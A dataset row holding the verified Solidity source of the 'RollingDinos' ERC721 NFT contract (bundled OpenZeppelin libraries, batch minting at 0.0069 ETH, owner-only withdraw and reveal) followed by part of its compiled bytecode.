58,433 | 0x9525f5378c4757c719801c1158c071a58559ba50 | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/rollingdinos.sol
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract RollingDinos is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Token symbol
string public publicBaseURI;
// Is token revealed
bool public revealed = false;
string public unrevealedUri = 'ipfs://QmRLeYNxPLprEY5Pxzqcj3G4qHtpQCThPVJ2zqKYCVWP2d';
// Owner address
address payable public contractOwner;
// Token money info
uint16 public constant totalSupply = 6900;
uint64 public constant tokenPrice = 6900000000000000; // 0.0069 ETH
uint8 public constant maxMintPerTx = 5;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_, string memory baseURI_) {
_name = name_;
_symbol = symbol_;
publicBaseURI = baseURI_;
contractOwner = payable(msg.sender);
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function totalMinted() public view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (revealed) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = publicBaseURI;
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
} else {
return unrevealedUri;
}
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = RollingDinos.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
@dev Transfers all the ETH stored on the contract to the owner
*/
function withdraw() public returns (bool) {
require (msg.sender == contractOwner, 'You are not the owner of this contract');
contractOwner.transfer(payable(address(this)).balance);
return true;
}
function mint(uint8 amount) external payable {
require(amount <= 5, 'Amount too high. You can only buy 5 in one transaction.');
require(amount > 0, 'Amount too low. You need to mint at least 1.');
require(msg.value >= uint256(tokenPrice * amount), 'You sent too few ETH. Each NFT costs 0.0069 ETH.');
require((uint256(totalSupply) - totalMinted()) >= uint256(amount), 'This amount of NFTs is not available');
_safeMint(msg.sender, amount);
}
function setBaseURI(string memory baseURI) public {
require (msg.sender == contractOwner, 'You are not the owner of this contract');
publicBaseURI = baseURI;
}
function setRevealed() public {
require (msg.sender == contractOwner, 'You are not the owner of this contract');
revealed = true;
}
} | 0x6080604052600436106101665760003560e01c80636ecd2306116100d1578063a2309ff81161008a578063c87b56dd11610064578063c87b56dd1461050b578063ce606ee014610548578063de7fcb1d14610573578063e985e9c51461059e57610166565b8063a2309ff81461048c578063b88d4fde146104b7578063c02c1bcd146104e057610166565b80636ecd23061461038957806370a08231146103a55780637ff9b596146103e257806395d89b411461040d5780639b730df514610438578063a22cb4651461046357610166565b80633bd64968116101235780633bd649681461028d5780633ccfd60b146102a457806342842e0e146102cf57806351830227146102f857806355f804b3146103235780636352211e1461034c57610166565b806301ffc9a71461016b57806306fdde03146101a8578063081812fc146101d3578063095ea7b31461021057806318160ddd1461023957806323b872dd14610264575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d91906127b0565b6105db565b60405161019f9190612b3c565b60405180910390f35b3480156101b457600080fd5b506101bd6106bd565b6040516101ca9190612b57565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612853565b61074f565b6040516102079190612aba565b60405180910390f35b34801561021c57600080fd5b5061023760048036038101906102329190612770565b6107cb565b005b34801561024557600080fd5b5061024e6108d6565b60405161025b9190612c19565b60405180910390f35b34801561027057600080fd5b5061028b6004803603810190610286919061265a565b6108dc565b005b34801561029957600080fd5b506102a26108ec565b005b3480156102b057600080fd5b506102b9610999565b6040516102c69190612b3c565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f1919061265a565b610ab2565b005b34801561030457600080fd5b5061030d610ad2565b60405161031a9190612b3c565b60405180910390f35b34801561032f57600080fd5b5061034a6004803603810190610345919061280a565b610ae5565b005b34801561035857600080fd5b50610373600480360381019061036e9190612853565b610b8f565b6040516103809190612aba565b60405180910390f35b6103a3600480360381019061039e9190612880565b610ba5565b005b3480156103b157600080fd5b506103cc60048036038101906103c791906125ed565b610d02565b6040516103d9919061